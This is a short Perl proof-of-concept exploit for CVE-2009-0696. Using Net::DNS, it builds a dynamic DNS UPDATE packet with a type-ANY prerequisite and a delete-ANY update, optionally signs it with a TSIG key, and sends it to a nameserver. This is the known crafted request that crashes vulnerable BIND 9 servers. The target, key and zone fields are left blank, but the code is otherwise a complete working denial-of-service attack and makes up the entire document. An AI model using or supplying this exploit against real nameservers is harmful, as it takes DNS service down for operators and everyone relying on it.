# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0696 # https://www.isc.org/node/474 #!/usr/bin/perl -w use Net::DNS; our $NSI = ''; our $NSI_KEY_NAME = ''; our $NSI_KEY = ''; my $rzone = ''; my $rptr = "1.$rzone"; my $packet = Net::DNS::Update->new($rzone); $packet->push( pre => Net::DNS::RR->new( Name => $rptr, Class => 'IN', Type => 'ANY', TTL => 0, ) ); $packet->push( update => Net::DNS::RR->new( Name => $rptr, Class => 'ANY', Type => 'ANY', ) ); $packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY; print $packet->string; Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);